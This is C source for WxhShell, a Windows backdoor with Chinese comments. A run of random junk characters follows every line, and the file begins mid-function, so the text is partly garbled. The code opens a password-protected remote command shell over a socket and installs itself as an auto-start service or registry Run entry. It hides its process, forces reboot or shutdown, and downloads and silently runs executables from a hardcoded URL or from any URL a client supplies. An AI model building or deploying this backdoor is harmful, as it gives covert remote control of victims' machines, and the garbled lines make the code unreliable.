    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vIF=kKl9,  
    if(Boot(SHUTDOWN)) Nwr.mtvh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :3^b>(W.  
    else { 11glFe  
    closesocket(wsh); %<lfe<;^t  
    ExitThread(0); (%}T\~`1z#  
    } 0#pjfc `:  
    break; kTb.I;S  
    } <W~5;m  
  // 获取shell Q&] }`Rp=  
  case 's': { H%t/-'U?  
    CmdShell(wsh); O$k;p<?M  
    closesocket(wsh); 7!+kyA\}r^  
    ExitThread(0); nd3=\.(P  
    break; g0v},n  
  } VUC  
  // 退出  _CY>45  
  case 'x': { >J_{mU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O#  .^}  
    CloseIt(wsh); '%_1eaH  
    break; Q/m))!ikMt  
    } 7}OzTup  
  // 离开 Fvf308[  
  case 'q': { 8 !Pk1P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '(mJ*Eb  
    closesocket(wsh); pi sk v[  
    WSACleanup(); (JH LWA H  
    exit(1); 5LbU'5  
    break; !sQ$a#Ea  
        } )SQ*"X4"  
  } ?BT\)@ h  
  } +6|Ys  
b Gq0k&  
  // 提示信息 @=,2{JF*6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )X@Obg  
} @'C f<wns  
  } {Z 3t0F  
L]hXAShmb  
  return; @[u!  
} <h^'x7PkW5  
VgtW T`F.I  
// shell模块句柄 1@q~(1-o  
int CmdShell(SOCKET sock) vCyvy^s-I  
{ #DApdD9M  
STARTUPINFO si; #P.jlpZk  
ZeroMemory(&si,sizeof(si)); ,B%M P<Rz1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xB_F?d40T5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bj09?#~[  
PROCESS_INFORMATION ProcessInfo; &sR=N60n  
char cmdline[]="cmd"; sfNXIEr^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AVVL]9b_2  
  return 0; `,i'vb`W#b  
} f ZL%H0&  
x|i"x+o  
// 自身启动模式 Qmle0ae  
int StartFromService(void) |7n&I`#  
{ 2  *IF  
typedef struct =]&?(Gq  
{ LI_>fuv"8  
  DWORD ExitStatus; }^Be^a<ub  
  DWORD PebBaseAddress; Nr=ud QA{  
  DWORD AffinityMask; ;v'7l>w3\w  
  DWORD BasePriority; .CdaOWM7  
  ULONG UniqueProcessId; 4J0{$Xuu 0  
  ULONG InheritedFromUniqueProcessId; mE(EyB<  
}   PROCESS_BASIC_INFORMATION; @/*{8UBP  
N]R<EBq  
PROCNTQSIP NtQueryInformationProcess; |!{Q4<  
LWHP31{R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [?x9NQ{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WLW'.  
s|Ls  
  HANDLE             hProcess; @iK=1\-2  
  PROCESS_BASIC_INFORMATION pbi; 0h-holUf}~  
biG=4?Xl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tl5K'3  
  if(NULL == hInst ) return 0; S>O fUrt  
0Ge*\Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8*kZ.-T B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )QE7$|s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *cx mQ  
9+"D8J7  
  if (!NtQueryInformationProcess) return 0; Q W#]i  
4@OnMj{M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  G7 >  
  if(!hProcess) return 0; rs {e6  
A!Zjcp|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V#[I/D  
UMwB.*  
  CloseHandle(hProcess); @%&;V(  
$ r|R`n=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Yh_H $uW  
if(hProcess==NULL) return 0; fiz2544  
PxzeN6f  
HMODULE hMod; 8v@6 &ras@  
char procName[255]; B3K!>lz  
unsigned long cbNeeded; S>}jsP:V  
26JP<&%L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3xef>Xv=  
*k==2figz  
  CloseHandle(hProcess); g]85[xz  
~ ui/Qf2|  
if(strstr(procName,"services")) return 1; // 以服务启动 Mf7Q+_!  
;Q&38qI  
  return 0; // 注册表启动 <GPL8D  
} ~R/w~Kc!/A  
$V-]DD%Y  
// 主模块 r_p9YS@I  
int StartWxhshell(LPSTR lpCmdLine) r9z_8#cR  
{ 6~zR(HzV{  
  SOCKET wsl; ,\!4 A  
BOOL val=TRUE; 7IW:,=Zk8+  
  int port=0; ;'l Hw]}O*  
  struct sockaddr_in door; pxjN\q  
'<~rV  
  if(wscfg.ws_autoins) Install(); w]]`/`  
d=V4,:=S  
port=atoi(lpCmdLine); W[PZQCL}K)  
@Tb T  
if(port<=0) port=wscfg.ws_port; 9|WBJ6  
E9pKR+P  
  WSADATA data; O$u;]cg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 r#O._Z  
j b1OcI%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    A]R7H1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^tX+<X  
  door.sin_family = AF_INET; / U1VE|T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m)3?hF)  
  door.sin_port = htons(port); 1)(p=<$  
z1}YoCj1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7 vUfA"  
closesocket(wsl); c_clpMx=  
return 1;  v'i"Q  
} LqIMU4Ex  
J0zudbP  
  if(listen(wsl,2) == INVALID_SOCKET) { `q* 0^}  
closesocket(wsl); 7iu?Q  
return 1; zrk/}b0j  
} ^4(CO[|c~  
  Wxhshell(wsl); 6i[\?7O'0  
  WSACleanup(); QT{$2 7;  
aGVzg$  
return 0; "wL~E Si  
o/buU{)y  
} zOYkkQE3mJ  
S+>&O3m  
// 以NT服务方式启动 `%;n HQ"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :,rD5a OQ  
{ 4 q}1  
DWORD   status = 0; 1<A+.W  
  DWORD   specificError = 0xfffffff; k$:QpTg[  
f^](D'L?D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WS9n.opl}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ug^C}".&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !+& NG&1  
  serviceStatus.dwWin32ExitCode     = 0; GDw4=0u-  
  serviceStatus.dwServiceSpecificExitCode = 0; )|,-l^lC  
  serviceStatus.dwCheckPoint       = 0; zYpIG8"o5  
  serviceStatus.dwWaitHint       = 0; o O%!P<D  
C.L5\"%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,{ CgOz+Ul  
  if (hServiceStatusHandle==0) return; VOwt2&mZ  
?2[=llS4  
status = GetLastError(); fOiLb.BW  
  if (status!=NO_ERROR) k/AcXU%O+  
{ l2GMVAca  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $D5[12X  
    serviceStatus.dwCheckPoint       = 0; Na: M1Uhb  
    serviceStatus.dwWaitHint       = 0; -cyJj LL*  
    serviceStatus.dwWin32ExitCode     = status; A> +5~u  
    serviceStatus.dwServiceSpecificExitCode = specificError; T[xGF/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RK(uC-l  
    return; j>gO]*BX~  
  } 'j#oMA{0  
g3n^ <[E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q_HC68YF,  
  serviceStatus.dwCheckPoint       = 0; ;hF>iw  
  serviceStatus.dwWaitHint       = 0; B) &BqZ&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0uzis09  
} PN/2EmwtC  
F`8A!|cIy  
// 处理NT服务事件,比如:启动、停止 RyD2LAf)J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G+4a%?JH  
{ 0K>rc1dy  
switch(fdwControl) `}k!SqG  
{ <kn#`w1U'  
case SERVICE_CONTROL_STOP: LW_ Y  
  serviceStatus.dwWin32ExitCode = 0; WzgzI/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I /3=~;u  
  serviceStatus.dwCheckPoint   = 0; efMv1>{  
  serviceStatus.dwWaitHint     = 0; !Y=s_)X  
  { o;FjpZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :eS7"EG{3  
  } FePJ8  
  return; n-,~Bp [  
case SERVICE_CONTROL_PAUSE: ]@l~z0^|[_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L6BHh_*E  
  break; Q !5Tw  
case SERVICE_CONTROL_CONTINUE: dDW],d}B;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RUf,)]Vvk  
  break; /7@@CG6b  
case SERVICE_CONTROL_INTERROGATE:  &N0W!  
  break; Mp75L5  
}; @^Mn PM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ",E6)r  
} #:T5_9p  
yHQ.EZ~%  
// 标准应用程序主函数 T7m rOp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^]'p927  
{ *-Lnsi^7v  
,qiS;2(  
// 获取操作系统版本 9L%&4V}BIS  
OsIsNt=GetOsVer(); 9^0 'VRG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GY,@jp|R  
sC ]&Qr_  
  // 从命令行安装 Z T8. r0  
  if(strpbrk(lpCmdLine,"iI")) Install(); y>2v 9;Qp  
%'\D _W&  
  // 下载执行文件 C,]Q/6'>  
if(wscfg.ws_downexe) { qTqvEa^X`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N<Bi.\XC  
  WinExec(wscfg.ws_filenam,SW_HIDE); dcU|y%k%  
} i/O!bq[o  
v{H23Cfh:  
if(!OsIsNt) { ;}f%bE  
// 如果时win9x,隐藏进程并且设置为注册表启动 -2> L*"^  
HideProc(); ( 4ow0}1  
StartWxhshell(lpCmdLine); G2a fHL<  
} Iay7Fkv  
else ,-] JCcH  
  if(StartFromService()) ./#K@V1  
  // 以服务方式启动 Y+/ofk "  
  StartServiceCtrlDispatcher(DispatchTable);  Ea\a:  
else W7(OrA!  
  // 普通方式启动 U@& <5'  
  StartWxhshell(lpCmdLine); SKLQAE5  
Y141Twjvd  
return 0; )yJeh  
} J)(]cW.  
b${Kj3(  
ih+kh7J-  
b4%IyJr  
=========================================== Syp|s3u;  
I_pA)P*Q(6  
0)ST_2Ci  
+Ya-h~7;g#  
 C&e  
% Pa-fee  
" _nx|ZJ  
H:[z#f|t  
#include <stdio.h> 3J'a  
#include <string.h> "45BOw&72G  
#include <windows.h> Tj:+:B(HB  
#include <winsock2.h> ~d{E>J77j  
#include <winsvc.h> v{% /aw  
#include <urlmon.h> '2# 0UdG  
 a$aI%  
#pragma comment (lib, "Ws2_32.lib") SI;G|uO;/  
#pragma comment (lib, "urlmon.lib") uT-WQ/id  
}a<MVG:>SF  
#define MAX_USER   100 // 最大客户端连接数 ,nHz~Xi1t  
#define BUF_SOCK   200 // sock buffer +nJ}+|@K  
#define KEY_BUFF   255 // 输入 buffer 5V?1/  
/%xK-z,V  
#define REBOOT     0   // 重启 U#F(#3/  
#define SHUTDOWN   1   // 关机 *D<sk7  
}FM<uBKW  
#define DEF_PORT   5000 // 监听端口 <mm}IdH  
~Dy0HVE   
#define REG_LEN     16   // 注册表键长度 w-\fCp )  
#define SVC_LEN     80   // NT服务名长度 nosEo? {  
m};_\Db`  
// 从dll定义API -w@fd]g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D ^ &!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `J-"S<c?_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' > \*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p{-1%jQ}]  
V9<[v?.\  
// wxhshell配置信息 *JpEBtTv=5  
struct WSCFG { #;mZ3[+i5  
  int ws_port;         // 监听端口 Oi7=z?+j  
  char ws_passstr[REG_LEN]; // 口令 ;<&s _C3  
  int ws_autoins;       // 安装标记, 1=yes 0=no fi?[ e?|c@  
  char ws_regname[REG_LEN]; // 注册表键名 %pwm34  
  char ws_svcname[REG_LEN]; // 服务名 MfL q h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^k)f oD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kW,yZ.?f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G*"N}M1)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hb]7>[L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kb%W3c9HO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q z/pz_}  
8F[j}.8q  
}; VX>_Sp s  
yRgo1ow]  
// default Wxhshell configuration 2l!"OiB.P  
struct WSCFG wscfg={DEF_PORT, CZa9hsM  
    "xuhuanlingzhe", p}Gk|Kjlq,  
    1, tICxAp:  
    "Wxhshell", KBJ|P^W5j  
    "Wxhshell", yNDyh  
            "WxhShell Service", lN1zfM  
    "Wrsky Windows CmdShell Service", A?7%q^;E  
    "Please Input Your Password: ", "RShsJZMH  
  1, tNUcmiY  
  "http://www.wrsky.com/wxhshell.exe", #g|j;{P  
  "Wxhshell.exe" w}(xs)`num  
    }; !tb RqW6v  
lo(Ht=d  
// 消息定义模块 u>(Q& 25  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @Td[rHl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6Nl$&jL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !^LvNW\|  
char *msg_ws_ext="\n\rExit."; L,D!T&B  
char *msg_ws_end="\n\rQuit."; C>03P.s4c  
char *msg_ws_boot="\n\rReboot..."; Vm.u3KE  
char *msg_ws_poff="\n\rShutdown..."; 22*t%{(  
char *msg_ws_down="\n\rSave to "; I|LS_m  
z$<6;2  
char *msg_ws_err="\n\rErr!"; {?jdPh  
char *msg_ws_ok="\n\rOK!"; z%AIv%  
J%A`M\  
char ExeFile[MAX_PATH]; \hq8/6=4s  
int nUser = 0; \u/5&[;  
HANDLE handles[MAX_USER]; O%)9t FT  
int OsIsNt; MkYem6  
z44uhRh  
SERVICE_STATUS       serviceStatus; B!N807  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NrU -%!Aw  
NV91{o(-7  
// 函数声明 b1& {%.3[  
int Install(void); KYl^{F  
int Uninstall(void); BsRas  
int DownloadFile(char *sURL, SOCKET wsh); M"FAUqz`  
int Boot(int flag); hZ#tB  
void HideProc(void); ,U tw!]  
int GetOsVer(void); SP*5 W)6  
int Wxhshell(SOCKET wsl); FQ87[| S  
void TalkWithClient(void *cs); JZtFt=>q  
int CmdShell(SOCKET sock); HaC3y[LJ0  
int StartFromService(void); B`WfJ2*2  
int StartWxhshell(LPSTR lpCmdLine); =L=#PJAPj  
pvM8PlYo]`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 000 $ZsW?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~d%Q1F*,=  
m3XH3FgKz  
// 数据结构和表定义 GHlra^  
SERVICE_TABLE_ENTRY DispatchTable[] = njX:[_&  
{ g SwG=e\  
{wscfg.ws_svcname, NTServiceMain}, I{AU,  
{NULL, NULL} "TV.$s$.  
}; U-? ^B*<  
I/> IB   
// 自我安装 p}.b#{HJ  
int Install(void) n=SZ8Rj7  
{ ,G:4H%?  
  char svExeFile[MAX_PATH]; Pz)QOrrG~  
  HKEY key; F*w|/-e  
  strcpy(svExeFile,ExeFile); .J@[v  
nn   
// 如果是win9x系统,修改注册表设为自启动 x2B"%3th0  
if(!OsIsNt) { C&st7. (k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -#o+x Jj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m Zh VpIUO  
  RegCloseKey(key); 6P~"7k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (g)@wNBW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e-')SB  
  RegCloseKey(key); 6^aYW#O<Ua  
  return 0; *~cs8<.!1  
    } e>>G4g  
  } ICTtubjV"  
}  bSR<d  
else { [s34N+vU  
0B4(t6o  
// 如果是NT以上系统,安装为系统服务 =c.q]/M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <  t (Pw  
if (schSCManager!=0) ?|8Tgs@+  
{ PVU"oz&T  
  SC_HANDLE schService = CreateService B0 I?  
  ( (XwLKkw0n  
  schSCManager, MELGTP>  
  wscfg.ws_svcname, pjCWg 4ya  
  wscfg.ws_svcdisp, ) e2IT*7  
  SERVICE_ALL_ACCESS, YJ^ lM\/<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h]MVFn{  
  SERVICE_AUTO_START, -5cH$]1\  
  SERVICE_ERROR_NORMAL, }H#t( 9,U  
  svExeFile, #rpqt{m l  
  NULL, eq+o_R}CS  
  NULL, -Wn.@bz6B  
  NULL, '*XNgvX  
  NULL, QBw ZfX  
  NULL *D{/p/|[  
  ); 0xxzhlKNL  
  if (schService!=0) A]+h<Y~}  
  { @NNLzqqY  
  CloseServiceHandle(schService); >h[!gXL^  
  CloseServiceHandle(schSCManager); /kA19E4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H/3Zdj 9  
  strcat(svExeFile,wscfg.ws_svcname); \zI&n &T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u,akEvH~a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # VV.[ N  
  RegCloseKey(key); Doh|G:P]#  
  return 0; e87- B1`  
    } 05KoxFO?  
  } !:<UgbiVv  
  CloseServiceHandle(schSCManager); M&ij[%i  
} ]jb4Z  
} 7ILa H|eN  
|{PJT#W%  
return 1; 8-"5|pNc  
} cQ.;dtT0  
&&}5>kg>d  
// 自我卸载 YU=ZZEVi  
int Uninstall(void) $uw+^(ut  
{ E)JyKm.  
  HKEY key; ^B5cNEO  
S@g/Tn  
if(!OsIsNt) { (`]*Y(/2G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ;Z q~w  
  RegDeleteValue(key,wscfg.ws_regname); S8OVG4-  
  RegCloseKey(key); DjzUH{6O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )6Q0f  
  RegDeleteValue(key,wscfg.ws_regname); ~snF20  
  RegCloseKey(key); PS(j)I3  
  return 0; S9NN.dKu  
  } m_$I?F0  
} +q j*P9  
} /HuYduGdP  
else { 06^1#M$'  
j 3MciQ`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nbASpa(  
if (schSCManager!=0) Dum`o^l#  
{ b3b~T]]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8q [c  
  if (schService!=0) egvy#2b@  
  { &@HNz6KO  
  if(DeleteService(schService)!=0) { X^D9)kel  
  CloseServiceHandle(schService); +%Y c4  
  CloseServiceHandle(schSCManager); mp,e9Nd;  
  return 0; N+M&d3H`  
  } f4k5R  
  CloseServiceHandle(schService); 6#)Jl  
  } >I& jurU#  
  CloseServiceHandle(schSCManager); e$EF% cKH  
} @y(Wy}  
} v"r9|m~'  
0R}Sw[M.  
return 1; >_`D3@Rz  
} [DxefYyI  
ZSRR lkU  
// 从指定url下载文件 "P'&+dH8  
int DownloadFile(char *sURL, SOCKET wsh) e:J'&r& 1  
{ hO/5>Zv?  
  HRESULT hr; k&A7alw  
char seps[]= "/"; nF<y7XkO  
char *token; lW$&fuDHF  
char *file; lP*  
char myURL[MAX_PATH]; f5aF6FBH  
char myFILE[MAX_PATH]; 6%kJDY.  
bqrJP3  
strcpy(myURL,sURL); qggk:cN1  
  token=strtok(myURL,seps); Dk`4bYK  
  while(token!=NULL) 43>9)t  
  { Pc(n@'m~  
    file=token; rMHQzQ0%  
  token=strtok(NULL,seps); ?7uK P}1|  
  } Aw4?y[{H  
gr>o E#7  
GetCurrentDirectory(MAX_PATH,myFILE); z]c,} Q  
strcat(myFILE, "\\"); Q)Iv_N/  
strcat(myFILE, file); icPp8EwH  
  send(wsh,myFILE,strlen(myFILE),0); 'cZMRR c <  
send(wsh,"...",3,0); =zm0w~']E!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V3mjb H>F  
  if(hr==S_OK) 2 {e dW+  
return 0; 7-d}pgVK  
else {OO*iZ.O  
return 1; OK-sT7But  
E69:bQ94u  
} PZuq'^p  
(/U)> %n  
// 系统电源模块 Jq$_=X&  
int Boot(int flag) +YkW[a\4  
{ i_=?eUq%q/  
  HANDLE hToken; F#1 Kk#t  
  TOKEN_PRIVILEGES tkp; d1V^2Hb?  
DD!MGf/  
  if(OsIsNt) { {N!E5*$Tr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .Iw ur;/\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _ }E-~I>  
    tkp.PrivilegeCount = 1; %j'G.*TD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #2Pr Gz]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *N-;V|{  
if(flag==REBOOT) { U~:N^Sc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U!&_mD# c  
  return 0; o_Jn_3=  
} [DZqCo  
else { DS:>/m>)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uu}`warW  
  return 0; JF~1' "_f:  
} c62dorDqy  
  } d>%gW*  
  else { VG_uxKY  
if(flag==REBOOT) { d4Co^A&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `DLp<_z>  
  return 0; 4$ Dt8!p0  
} R_1)mPQ^P  
else { ,VNi_.W0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D W/1 =3  
  return 0; J~Cc9"(  
} E/mubA(&  
} ?YF${  
$#%U\mI z  
return 1; [%@2o<  
} 4_PCq Ep)  
pOC% oj  
// win9x进程隐藏模块 f64(a\Rw!^  
void HideProc(void) M1oPOC\0.  
{ $hkq>i \  
5D,.^a1 A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b4>``n  
  if ( hKernel != NULL ) Q [r j  
  { i2){xg~c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M.>^{n$ z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0b/i r2  
    FreeLibrary(hKernel); *cbeyB{E  
  } e`i7ah;  
CSMeSPOm]  
return; E7Ibp79}N  
} nX0HT )}  
{?E<](+0  
// 获取操作系统版本  _e%dM  
int GetOsVer(void) v" }WP34  
{ G&q'#3ieC  
  OSVERSIONINFO winfo; 8b|OXWl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u!Xb?:3uj  
  GetVersionEx(&winfo); pO%{'%RA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ve{n<{P  
  return 1; C ye T]y  
  else 4/S=5r}  
  return 0; Hd9XfU  
} Ju!(gh  
[r)e P({  
// 客户端句柄模块 +l`65!"  
int Wxhshell(SOCKET wsl) 'Qa5n\HX$  
{ eD%H XGe  
  SOCKET wsh; 96d~~2p  
  struct sockaddr_in client; 1y J5l,q  
  DWORD myID; (Uk>?XAr  
i AdGgK  
  while(nUser<MAX_USER) X) V7bVW  
{ [4sEVu}  
  int nSize=sizeof(client); y$X(S\W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (n,u|}8Y  
  if(wsh==INVALID_SOCKET) return 1; 4({( i  
C{ EAmv'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oM!xz1kVL  
if(handles[nUser]==0) :.k ZR;  
  closesocket(wsh); 07V8;A<,  
else `vd= ec  
  nUser++; ' +j<n[JLC  
  } _AFQ>j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 62)d22  
NzQ9Z1Mxy  
  return 0; : [q0S@  
} 'OwyyPBF  
#B8*gFZB  
// 关闭 socket A /(lKq  
void CloseIt(SOCKET wsh) e,>%Z@92(  
{ bB!#:j>(v  
closesocket(wsh); 8) N@qUV  
nUser--; .N,&Uv-  
ExitThread(0); "- 31'R-  
} %SrM|&[  
j9d!yW  
// 客户端请求句柄 >I}9LyZt  
void TalkWithClient(void *cs) xl(@C*.sC1  
{ y%S1ZT ScO  
+k.%PO0np  
  SOCKET wsh=(SOCKET)cs; (a@?s$LG  
  char pwd[SVC_LEN]; W+Xz$j/u  
  char cmd[KEY_BUFF]; Z\~G U*Y.e  
char chr[1]; 5;\gJf  
int i,j; Kz jC/1sd  
c~0{s>  
  while (nUser < MAX_USER) { oc7$H>ET1  
CS 8jA\  
if(wscfg.ws_passstr) { TX}T|ri  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (hB?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "9IYB)Js  
  //ZeroMemory(pwd,KEY_BUFF); (-0ePSOG  
      i=0; ZrO!L_/  
  while(i<SVC_LEN) { +x=)/;:  
33'Y[4  
  // 设置超时 "T2"]u<52  
  fd_set FdRead; L[g0&b%%-  
  struct timeval TimeOut; *>NX%by)  
  FD_ZERO(&FdRead); PRkS Q4  
  FD_SET(wsh,&FdRead); b&#DnZcf  
  TimeOut.tv_sec=8; MZV_5i@:  
  TimeOut.tv_usec=0; .1yT*+`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  7I=C+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  J@_ctGv  
4jNG^@O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =PkO!Mm8  
  pwd=chr[0]; POAw M  
  if(chr[0]==0xd || chr[0]==0xa) { H#i{?RM@l  
  pwd=0; ! }f1`/   
  break; g13 rx%-  
  } mO*^1  
  i++; ehNzDr\s  
    } DC+b=IOz  
Y^KTkS0D  
  // 如果是非法用户,关闭 socket : i~W } r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eS+g|$cW  
} ~g#r6pzN-  
4dawg8K`9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _;1}x%4v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >j*;vG5T  
WIr2{+#  
while(1) { q%(EYM5Y  
omSM:f_~  
  ZeroMemory(cmd,KEY_BUFF); "{D6J809  
|4(~%| 8{  
      // 自动支持客户端 telnet标准   NTo!'p:s  
  j=0; vb Y3;+M>  
  while(j<KEY_BUFF) {  6e,xDr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .IarkeCtb  
  cmd[j]=chr[0]; 7O5`v(<9n>  
  if(chr[0]==0xa || chr[0]==0xd) { asJ!NvVG'  
  cmd[j]=0; '1?\/,em  
  break; 1'.7_EQ4T  
  } z~*g~RKS!  
  j++; @"-</x3o  
    } n">u mM;Eh  
n DS}^Ba  
  // 下载文件 ^y!;xc$(Qs  
  if(strstr(cmd,"http://")) { (*p , T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]rehW}  
  if(DownloadFile(cmd,wsh)) sRSz}]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o*WY=  
  else dCyqvg6u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (8$k4`T>  
  } Zxr!:t7  
  else { :W#rhuzC  
+4;uF]T  
